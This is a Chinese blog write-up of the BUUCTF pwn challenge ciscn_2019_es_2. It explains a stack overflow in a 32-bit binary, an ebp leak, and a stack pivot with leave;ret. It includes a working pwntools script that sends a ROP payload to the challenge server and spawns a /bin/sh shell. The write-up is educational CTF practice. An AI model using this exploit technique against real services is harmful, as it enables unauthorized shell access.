[PWN] BUUCTF ciscn_2019_es_2

解题分析

按照惯例checksec一下,开了NX与RELRO

在这里插入图片描述
运行程序,查看逻辑,两次input,并且回显Hello,input
在这里插入图片描述
32位IDA打开,查看关键函数vul(),发现两次read往s里写内容,read可写0x30个字节,但s的缓冲区只有0x28个字节,所以这里存在着栈溢出,若有backdoor直接获得flag的话,可直接构造

payload=0x28*‘a’+ebp+backdoor

在这里插入图片描述

shift+12查看特殊字符,发现”echo flag“

在这里插入图片描述

根据"echo flag"找到函数hack,这里直接返回system(“echo flag”),可惜system里面的参数不是/bin/sh,所以不能直接利用
则需要修改system里面的参数,问题来了,read只能读取0x30个字节,若想直接修改system里的参数的话, 可利用栈空间不够,所以这里考虑到了栈迁移,同时迁移栈空间足够后需要知道/bin/sh的地址,这个可以通过read来输入/bin/sh,并且泄露一个地址,计算偏移量来找出输入/bin/sh的地址
在这里插入图片描述
记system地址:08048400
在这里插入图片描述

漏洞利用

1.存在栈溢出,但可利用栈空间不够,采用栈迁移

栈溢出长度不足来直接 ROP,把栈迁移到别的地方来构造新的ROP链,一般利用leave_ret来进行栈迁移

leave
//move esp ebp  将ebp指向的地址给esp
//pop ebp  将esp指向的地址存放的值赋值给ebp
ret
//pop eip  将esp指向的地址存放的值赋值给eip

2.泄露某一个地址来计算输入/bin/sh的地址
3.构造新的ROP

payload解析

#coding=utf-8
#!/usr/bin/env python   
from pwn import *    #导入pwntools中的pwn包的所有内容
context.terminal = ['terminator','-x','sh','-c']
context.log_level='debug'
p=remote('node3.buuoj.cn',27717)
# p=process("./ciscn_2019_es_2")
# elf = ELF('./ciscn_2019_es_2')
sys_addr=0x08048400
leave_ret=0x080484b8
p.recvuntil("Welcome, my friend. What's your name?\n")
payload1= 0x20*"a"+"b"*0x8
p.send(payload1)
p.recvuntil("b"*0x8)
ebp_addr=u32(p.recv(4))

log.success('ebp==>'+hex(ebp_addr))

payload2 = ("aaaa"+p32(sys_addr)+'aaaa'+p32(ebp_addr-0x28)+'/bin/sh').ljust(0x28,'\x00')+p32(ebp_addr-0x38) + p32(leave_ret)
p.send(payload2)
p.interactive()


1.第一次read泄露ebp地址

payload1= 0x20*"a"+"b"*0x8
p.send(payload1)
p.recvuntil("b"*0x8)
ebp_addr=u32(p.recv(4))

2.第二次read利用leave_ret劫持地址
这里劫持到一开始s读入的地址即ebp-0x38

#p32(sys_addr)+‘aaaa’+p32(bin_sh)

payload2 = (“aaaa”+ p32(sys_addr)+‘aaaa’+ p32(ebp_addr-0x28)+’/bin/sh’).ljust(0x28,’\x00’)
payload2 += p32(ebp_addr-0x38) 输入的起始地址,劫持地址
payload2 += p32(leave_ret)

aaaa是第二次leave_ret 时 pop ebp中赋给ebp的值 ,之后pop eip 即ret=sys_addr,"aaaa"是执行sys后的返回地址,ebp_addr-0x28是/bin/sh地址,这些偏移通过gdb调试得出

程序执行过程图

输入数据流初始状态
在这里插入图片描述

第一次leave_ret move esp ebp

在这里插入图片描述
第一次leave_ret pop ebp:

在这里插入图片描述

esp=esp+4指向leave_ret

第一次leave_ret pop eip:
在这里插入图片描述

执行leave_ret 准备第二次leave

第二次leave_ret move esp ebp
在这里插入图片描述

第二次leave_ret pop ebp
在这里插入图片描述

第二次leave_ret pop eip

在这里插入图片描述
在这里插入图片描述
flag get!

参考:

https://blog.youkuaiyun.com/qq_40410406/article/details/109616205

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值